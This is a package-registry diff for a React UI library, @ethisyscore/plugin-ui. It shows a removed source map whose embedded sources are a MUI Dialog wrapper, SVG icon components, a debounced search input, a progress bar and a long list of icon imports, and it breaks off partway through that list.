@ethisyscore/plugin-ui 1.110.0 → 1.111.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- {"version":3,"sources":["../../../src/components/ui/Dialog.tsx","../../../src/icons/nexture/ni-cross.tsx","../../../src/icons/nexture/ni-search.tsx","../../../src/icons/nexture-icons.tsx","../../../src/components/ui/DebouncedSearchInput.tsx","../../../src/components/ui/ProgressBar.tsx"],"names":["MuiDialog","jsx","jsxs","DebouncedSearchInput"],"mappings":"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","file":"index.js","sourcesContent":["import { Dialog as MuiDialog, type DialogProps } from \"@mui/material\";\n\n/**\n * MUI `Dialog` with the scroll-lock + focus-restore overrides plugin surfaces\n * need (AB#4808): MUI's defaults reset the page to top when a dialog opened from\n * below the fold closes. Everything else is the stock `Dialog` — this is the one\n * `components/ui` wrapper that isn't a pure re-export.\n */\nexport function Dialog(props: DialogProps) {\n return <MuiDialog disableScrollLock disableRestoreFocus {...props} />;\n}\n","import { NextureIconsProps, sizeHelper, strokeSizeHelper } from \"../nexture-icons\";\n\nexport default function NiCross({ className, variant = \"outlined\", size = \"medium\" }: NextureIconsProps) {\n const iconSize = sizeHelper(size);\n const iconStrokeWidth = strokeSizeHelper(iconSize);\n\n if (variant === \"outlined\") {\n return (\n <svg\n width={iconSize}\n height={iconSize}\n className={className}\n viewBox=\"0 0 24 24\"\n fill=\"none\"\n xmlns=\"http://www.w3.org/2000/svg\"\n >\n <path\n d=\"M8.00016 8L12.0001 12M12.0001 12L16 16.0002M12.0001 12L16 8.00015M12.0001 12L8 16.0002\"\n stroke=\"currentColor\"\n strokeWidth={iconStrokeWidth}\n strokeLinecap=\"round\"\n />\n </svg>\n );\n } else {\n return (\n <svg\n width={iconSize}\n height={iconSize}\n className={className}\n viewBox=\"0 0 24 24\"\n fill=\"none\"\n xmlns=\"http://www.w3.org/2000/svg\"\n >\n <path\n d=\"M15.4698 7.46963C15.7626 7.17684 16.2374 7.17684 16.5303 7.46963C16.8232 7.7625 16.8231 8.23728 16.5303 8.53018L13.0606 11.9999L16.5303 15.4696C16.8232 15.7625 16.8231 16.2373 16.5303 16.5302C16.2557 16.8048 15.821 16.8223 15.5264 16.5819L15.4698 16.5302L12 13.0604L8.53032 16.5302C8.23743 16.8231 7.76267 16.8231 7.46977 16.5302C7.17697 16.2373 7.17691 15.7625 7.46977 15.4696L10.9395 11.9999L7.46977 8.53018L7.41801 8.47354C7.1778 8.17898 7.19527 7.74421 7.46977 7.46963C7.76264 7.17676 8.23742 7.17682 8.53032 7.46963L12 10.9394L15.4698 7.46963Z\"\n fill=\"currentColor\"\n />\n </svg>\n );\n }\n}\n","import { NextureIconsProps, sizeHelper, strokeSizeHelper } from \"../nexture-icons\";\n\nexport default function NiSearch({\n className,\n variant = \"outlined\",\n size = \"medium\",\n oneTone = false,\n}: NextureIconsProps) {\n const iconSize = sizeHelper(size);\n const iconStrokeWidth = strokeSizeHelper(iconSize);\n if (variant === \"outlined\") {\n return (\n <svg\n width={iconSize}\n height={iconSize}\n className={className}\n viewBox=\"0 0 24 24\"\n fill=\"none\"\n xmlns=\"http://www.w3.org/2000/svg\"\n >\n <path\n opacity={oneTone ? 1 : 0.6}\n d=\"M22 22L18.5 18.5\"\n stroke=\"currentColor\"\n strokeWidth={iconStrokeWidth}\n strokeLinecap=\"round\"\n />\n <circle cx=\"11.5\" cy=\"11.5\" r=\"9.5\" stroke=\"currentColor\" strokeWidth={iconStrokeWidth} />\n </svg>\n );\n } else {\n return (\n <svg\n width={iconSize}\n height={iconSize}\n className={className}\n viewBox=\"0 0 24 24\"\n fill=\"none\"\n xmlns=\"http://www.w3.org/2000/svg\"\n >\n <path\n opacity={oneTone ? 1 : 0.4}\n d=\"M19.0303 17.9697C18.7374 17.6768 18.2627 17.6768 17.9698 17.9697C17.6769 18.2626 17.6769 18.7373 17.9698 19.0302L21.4698 22.5302C21.7627 22.8231 22.2374 22.8231 22.5303 22.5302C22.8232 22.2373 22.8232 21.7626 22.5303 21.4697L19.0303 17.9697Z\"\n fill=\"currentColor\"\n />\n <path\n d=\"M11.5 1.25C17.1609 1.25 21.75 5.83908 21.75 11.5C21.75 17.1609 17.1609 21.75 11.5 21.75C5.83908 21.75 1.25 17.1609 1.25 11.5C1.25 5.83908 5.83908 1.25 11.5 1.25Z\"\n fill=\"currentColor\"\n />\n </svg>\n );\n }\n}\n","import NiAI from \"./nexture/ni-ai\";\nimport NiAirBalloon from \"./nexture/ni-air-balloon\";\nimport NiAnchor from \"./nexture/ni-anchor\";\nimport NiAnnouncement from \"./nexture/ni-announcement\";\nimport NiAntenna from \"./nexture/ni-antenna\";\nimport NiArchive from \"./nexture/ni-archive\";\nimport NiArchiveCheck from \"./nexture/ni-archive-check\";\nimport NiArrowCircleLeft from \"./nexture/ni-arrow-circle-left\";\nimport NiArrowCircleRight from \"./nexture/ni-arrow-circle-right\";\nimport NiArrowDown from \"./nexture/ni-arrow-down\";\nimport NiArrowDownLeft from \"./nexture/ni-arrow-down-left\";\nimport NiArrowDownLeftSquare from \"./nexture/ni-arrow-down-left-square\";\nimport NiArrowDownRight from \"./nexture/ni-arrow-down-right\";\nimport NiArrowDownRightSquare from \"./nexture/ni-arrow-down-right-square\";\nimport NiArrowDownSquare from \"./nexture/ni-arrow-down-square\";\nimport NiArrowHistory from \"./nexture/ni-arrow-history\";\nimport NiArrowInDown from \"./nexture/ni-arrow-in-down\";\nimport NiArrowInLeft from \"./nexture/ni-arrow-in-left\";\nimport NiArrowInRight from \"./nexture/ni-arrow-in-right\";\nimport NiArrowInUp from \"./nexture/ni-arrow-in-up\";\nimport NiArrowLeft from \"./nexture/ni-arrow-left\";\nimport NiArrowLeftRight from \"./nexture/ni-arrow-left-right\";\nimport NiArrowLeftSquare from \"./nexture/ni-arrow-left-square\";\nimport NiArrowOutDown from \"./nexture/ni-arrow-out-down\";\nimport NiArrowOutLeft from \"./nexture/ni-arrow-out-left\";\nimport NiArrowOutRight from \"./nexture/ni-arrow-out-right\";\nimport NiArrowOutUp from \"./nexture/ni-arrow-out-up\";\nimport NiArrowRight from \"./nexture/ni-arrow-right\";\nimport NiArrowRightSquare from \"./nexture/ni-arrow-right-square\";\nimport NiArrowUp from \"./nexture/ni-arrow-up\";\nimport NiArrowUpDown from \"./nexture/ni-arrow-up-down\";\nimport NiArrowUpLeft from \"./nexture/ni-arrow-up-left\";\nimport NiArrowUpLeftSquare from \"./nexture/ni-arrow-up-left-square\";\nimport NiArrowUpRight from \"./nexture/ni-arrow-up-right\";\nimport NiArrowUpRightSquare from \"./nexture/ni-arrow-up-right-square\";\nimport NiArrowUpSquare from \"./nexture/ni-arrow-up-square\";\nimport NiAt from \"./nexture/ni-at\";\nimport NiBadge from \"./nexture/ni-badge\";\nimport NiBadgeCheck from \"./nexture/ni-badge-check\";\nimport NiBag from \"./nexture/ni-bag\";\nimport NiBandAid from \"./nexture/ni-band-aid\";\nimport NiBarcode from \"./nexture/ni-barcode\";\nimport NiBasket from \"./nexture/ni-basket\";\nimport NiBatteryCharging from \"./nexture/ni-battery-charging\";\nimport NiBatteryEmpty from \"./nexture/ni-battery-empty\";\nimport NiBatteryFull from \"./nexture/ni-battery-full\";\nimport NiBell from \"./nexture/ni-bell\";\nimport NiBellInactive from \"./nexture/ni-bell-inactive\";\nimport NiBinEmpty from \"./nexture/ni-bin-empty\";\nimport NiBinFull from \"./nexture/ni-bin-full\";\nimport NiBloodCells from \"./nexture/ni-blood-cells\";\nimport NiBluetooth from \"./nexture/ni-bluetooth\";\nimport NiBook from \"./nexture/ni-book\";\nimport NiBookmark from \"./nexture/ni-bookmark\";\nimport NiBookmarkSingle from \"./nexture/ni-bookmark-single\";\nimport NiBraces from \"./nexture/ni-braces\";\nimport NiBrackets from \"./nexture/ni-brackets\";\nimport NiBrain from \"./nexture/ni-brain\";\nimport NiBrainCircuit from \"./nexture/ni-brain-circuit\";\nimport NiBriefcase from \"./nexture/ni-briefcase\";\nimport NiBrush from \"./nexture/ni-brush\";\nimport NiBrushArt from \"./nexture/ni-brush-art\";\nimport NiBrushArtSquare from \"./nexture/ni-brush-art-square\";\nimport NiBug from \"./nexture/ni-bug\";\nimport NiBuilding from \"./nexture/ni-building\";\nimport NiBulbOff from \"./nexture/ni-bulb-off\";\nimport NiBulbOn from \"./nexture/ni-bulb-on\";\nimport NiButton from \"./nexture/ni-button\";\nimport NiButtonGroup from \"./nexture/ni-button-group\";\nimport NiButtonLarge from \"./nexture/ni-button-large\";\nimport NiCake from \"./nexture/ni-cake\";\nimport NiCalendar from \"./nexture/ni-calendar\";\nimport NiCalendarClock from \"./nexture/ni-calendar-clock\";\nimport NiCamera from \"./nexture/ni-camera\";\nimport NiCar from \"./nexture/ni-car\";\nimport NiCartArrow from \"./nexture/ni-cart-arrow\";\nimport NiCartCross from \"./nexture/ni-cart-cross\";\nimport NiCartEmpty from \"./nexture/ni-cart-empty\";\nimport NiCartMinus from \"./nexture/ni-cart-minus\";\nimport NiCartPlus from \"./nexture/ni-cart-plus\";\nimport NiCatalog from \"./nexture/ni-catalog\";\nimport NiCells from \"./nexture/ni-cells\";\nimport NiCellsPlus from \"./nexture/ni-cells-plus\";\nimport NiChange from \"./nexture/ni-change\";\nimport NiChartBar from \"./nexture/ni-chart-bar\";\nimport NiChartCandleSticks from \"./nexture/ni-chart-candle-sticks\";\nimport NiChartFunnel from \"./nexture/ni-chart-funnel\";\nimport NiChartHeatmap from \"./nexture/ni-chart-heatmap\";\nimport NiChartLine from \"./nexture/ni-chart-line\";\nimport NiChartLineBar from \"./nexture/ni-chart-line-bar\";\nimport NiChartPie from \"./nexture/ni-chart-pie\";\nimport NiChartPolar from \"./nexture/ni-chart-polar\";\nimport NiChartRadar from \"./nexture/ni-chart-radar\";\nimport NiChartScatter from \"./nexture/ni-chart-scatter\";\nimport NiCheck from \"./nexture/ni-check\";\nimport NiCheckFull from \"./nexture/ni-check-full\";\nimport NiCheckSquare from \"./nexture/ni-check-square\";\nimport NiChef from \"./nexture/ni-chef\";\nimport NiChevronDown from \"./nexture/ni-chevron-down\";\nimport NiChevronDownSmall from \"./nexture/ni-chevron-down-small\";\nimport NiChevronLeft from \"./nexture/ni-chevron-left\";\nimport NiChevronLeftRightReverseSmall from \"./nexture/ni-chevron-left-right-reverse-small\";\nimport NiChevronLeftRightSmall from \"./nexture/ni-chevron-left-right-small\";\nimport NiChevronLeftSmall from \"./nexture/ni-chevron-left-small\";\nimport NiChevronRight from \"./nexture/ni-chevron-right\";\nimport NiChevronRightSmall from \"./nexture/ni-chevron-right-small\";\nimport NiChevronUp from \"./nexture/ni-chevron-up\";\nimport NiChevronUpDownReverseSmall from \"./nexture/ni-chevron-up-down-reverse-small\";\nimport NiChevronUpDownSmall from \"./nexture/ni-chevron-up-down-small\";\nimport NiChevronUpSmall from \"./nexture/ni-chevron-up-small\";\nimport NiCholesterol from \"./nexture/ni-cholesterol\";\nimport NiCircle from \"./nexture/ni-circle\";\nimport NiClipboard from \"./nexture/ni-clipboard\";\nimport NiClock from \"./nexture/ni-clock\";\nimport NiCloud from \"./nexture/ni-cloud\";\nimport NiCloudPartly from \"./nexture/ni-cloud-partly\";\nimport NiCloudRain from \"./nexture/ni-cloud-rain\";\nimport NiCloudSnow from \"./nexture/ni-cloud-snow\";\nimport NiCloudThunder from \"./nexture/ni-cloud-thunder\";\nimport NiCode from \"./nexture/ni-code\";\nimport NiCoffee from \"./nexture/ni-coffee\";\nimport NiCoin from \"./nexture/ni-coin\";\nimport NiCollapse from \"./nexture/ni-collapse\";\nimport NiCollapseIn from \"./nexture/ni-collapse-in\";\nimport NiCols from \"./nexture/ni-cols\";\nimport NiCompass from \"./nexture/ni-compass\";\nimport NiController from \"./nexture/ni-controller\";\nimport NiCopyright from \"./nexture/ni-copyright\";\nimport NiCpu from \"./nexture/ni-cpu\";\nimport NiCreditCard from \"./nexture/ni-credit-card\";\nimport NiCrop from \"./nexture/ni-crop\";\nimport NiCross from \"./nexture/ni-cross\";\nimport NiCrossFull from \"./nexture/ni-cross-full\";\nimport NiCrossHexagon from \"./nexture/ni-cross-hexagon\";\nimport NiCrossSquare from \"./nexture/ni-cross-square\";\nimport NiCrosshair from \"./nexture/ni-crosshair\";\nimport NiCrown from \"./nexture/ni-crown\";\nimport NiCursor from \"./nexture/ni-cursor\";\nimport NiDashboard from \"./nexture/ni-dashboard\";\nimport NiDatabase from \"./nexture/ni-database\";\nimport NiDevops from \"./nexture/ni-devops\";\nimport NiDiagram from \"./nexture/ni-diagram\";\nimport NiDice from \"./nexture/ni-dice\";\nimport NiDirectory from \"./nexture/ni-directory\";\nimport NiDocumentArchive from \"./nexture/ni-document-archive\";\nimport NiDocumentChart from \"./nexture/ni-document-chart\";\nimport NiDocumentCheck from \"./nexture/ni-document-check\";\nimport NiDocumentCode from \"./nexture/ni-document-code\";\nimport NiDocumentCross from \"./nexture/ni-document-cross\";\nimport NiDocumentFull from \"./nexture/ni-document-full\";\nimport NiDocumentImage from \"./nexture/ni-document-image\";\nimport NiDocumentMinus from \"./nexture/ni-document-minus\";\nimport NiDocumentNumber from \"./nexture/ni-document-number\";\nimport NiDocumentPlus from \"./nexture/ni-document-plus\";\nimport NiDocumentVideo from \"./nexture/ni-document-video\";\nimport NiDollar from \"./nexture/ni-dollar\";\nimport NiDollarSquare from \"./nexture/ni-dollar-square\";\nimport NiDotsSquare from \"./nexture/ni-dots-square\";\nimport NiDownloadCloud from \"./nexture/ni-download-cloud\";\nimport NiDragHorizontal from \"./nexture/ni-drag-horizontal\";\nimport NiDragVertical from \"./nexture/ni-drag-vertical\";\nimport NiDrink from \"./nexture/ni-drink\";\nimport NiDrop from \"./nexture/ni-drop\";\nimport NiDuplicate from \"./nexture/ni-duplicate\";\nimport NiEllipsisHorizontal from \"./nexture/ni-ellipsis-horizontal\";\nimport NiEllipsisVertical from \"./nexture/ni-ellipsis-vertical\";\nimport NiEmail from \"./nexture/ni-email\";\nimport NiEmailOpen from \"./nexture/ni-email-open\";\nimport NiEndDownSmall from \"./nexture/ni-end-down-small\";\nimport NiEndLeftSmall from \"./nexture/ni-end-left-small\";\nimport NiEndRightSmall from \"./nexture/ni-end-right-small\";\nimport NiEndUpSmall from \"./nexture/ni-end-up-small\";\nimport NiEnterDown from \"./nexture/ni-enter-down\";\nimport NiEnterLeft from \"./nexture/ni-enter-left\";\nimport NiEnterReverseDown from \"./nexture/ni-enter-reverse-down\";\nimport NiEnterReverseLeft from \"./nexture/ni-enter-reverse-left\";\nimport NiEnterReverseRight from \"./nexture/ni-enter-reverse-right\";\nimport NiEnterReverseUp from \"./nexture/ni-enter-reverse-up\";\nimport NiEnterRight from \"./nexture/ni-enter-right\";\nimport NiEnterUp from \"./nexture/ni-enter-up\";\nimport NiEquals from \"./nexture/ni-equals\";\nimport NiEqualsFull from \"./nexture/ni-equals-full\";\nimport NiEraser from \"./nexture/ni-eraser\";\nimport NiEuro from \"./nexture/ni-euro\";\nimport NiEuroSquare from \"./nexture/ni-euro-square\";\nimport NiExclamationHexagon from \"./nexture/ni-exclamation-hexagon\";\nimport NiExclamationSquare from \"./nexture/ni-exclamation-square\";\nimport NiExpand from \"./nexture/ni-expand\";\nimport NiExpandFull from \"./nexture/ni-expand-full\";\nimport NiExpandOut from \"./nexture/ni-expand-out\";\nimport NiExpandSquare from \"./nexture/ni-expand-square\";\nimport NiExternal from \"./nexture/ni-external\";\nimport NiEyeClose from \"./nexture/ni-eye-close\";\nimport NiEyeInactive from \"./nexture/ni-eye-inactive\";\nimport NiEyeOpen from \"./nexture/ni-eye-open\";\nimport NiFaceFrown from \"./nexture/ni-face-frown\";\nimport NiFaceFrownMore from \"./nexture/ni-face-frown-more\";\nimport NiFaceNeutral from \"./nexture/ni-face-neutral\";\nimport NiFaceSmile from \"./nexture/ni-face-smile\";\nimport NiFaceSmileMore from \"./nexture/ni-face-smile-more\";\nimport NiFemale from \"./nexture/ni-female\";\nimport NiFilter from \"./nexture/ni-filter\";\nimport NiFilterCross from \"./nexture/ni-filter-cross\";\nimport NiFilterMinus from \"./nexture/ni-filter-minus\";\nimport NiFilterPlus from \"./nexture/ni-filter-plus\";\nimport NiFingerprint from \"./nexture/ni-fingerprint\";\nimport NiFire from \"./nexture/ni-fire\";\nimport NiFirstAid from \"./nexture/ni-first-aid\";\nimport NiFitness from \"./nexture/ni-fitness\";\nimport NiFlag from \"./nexture/ni-flag\";\nimport NiFlash from \"./nexture/ni-flash\";\nimport NiFlask from \"./nexture/ni-flask\";\nimport NiFloppyDisk from \"./nexture/ni-floppy-disk\";\nimport NiFolder from \"./nexture/ni-folder\";\nimport NiFolderCheck from \"./nexture/ni-folder-check\";\nimport NiFolderCross from \"./nexture/ni-folder-cross\";\nimport NiFolderMinus from \"./nexture/ni-folder-minus\";\nimport NiFolderPlus from \"./nexture/ni-folder-plus\";\nimport NiForwardDownSmall from \"./nexture/ni-forward-down-small\";\nimport NiForwardLeftSmall from \"./nexture/ni-forward-left-small\";\nimport NiForwardRightSmall from \"./nexture/ni-forward-right-small\";\nimport NiForwardUpSmall from \"./nexture/ni-forward-up-small\";\nimport NiGay from \"./nexture/ni-gay\";\nimport NiGerm from \"./nexture/ni-germ\";\nimport NiGogo from \"./nexture/ni-gogo\";\nimport NiGold from \"./nexture/ni-gold\";\nimport NiGpu from \"./nexture/ni-gpu\";\nimport NiGraduation from \"./nexture/ni-graduation\";\nimport NiGroup from \"./nexture/ni-group\";\nimport NiHeadphones from \"./nexture/ni-headphones\";\nimport NiHeadset from \"./nexture/ni-headset\";\nimport NiHeadsetMic from \"./nexture/ni-headset-mic\";\nimport NiHealth from \"./nexture/ni-health\";\nimport NiHeart from \"./nexture/ni-heart\";\nimport NiHeartRate from \"./nexture/ni-heart-rate\";\nimport NiHearts from \"./nexture/ni-hearts\";\nimport NiHome from \"./nexture/ni-home\";\nimport NiInbox from \"./nexture/ni-inbox\";\nimport NiInfoSquare from \"./nexture/ni-info-square\";\nimport NiInjection from \"./nexture/ni-injection\";\nimport NiInput from \"./nexture/ni-input\";\nimport NiIntegration from \"./nexture/ni-integration\";\nimport NiInternal from \"./nexture/ni-internal\";\nimport NiIv from \"./nexture/ni-iv\";\nimport NiJoin from \"./nexture/ni-join\";\nimport NiKey from \"./nexture/ni-key\";\nimport NiKeyboard from \"./nexture/ni-keyboard\";\nimport NiKnobs from \"./nexture/ni-knobs\";\nimport NiLaptop from \"./nexture/ni-laptop\";\nimport NiLaw from \"./nexture/ni-law\";\nimport NiLayout from \"./nexture/ni-layout\";\nimport NiLike from \"./nexture/ni-like\";\nimport NiLink from \"./nexture/ni-link\";\nimport NiLinkBroken from \"./nexture/ni-link-broken\";\nimport NiList from \"./nexture/ni-list\";\nimport NiListCheck from \"./nexture/ni-list-check\";\nimport NiListChevronDown from \"./nexture/ni-list-chevron-down\";\nimport NiListCircle from \"./nexture/ni-list-circle\";\nimport NiListCross from \"./nexture/ni-list-cross\";\nimport NiListNumber from 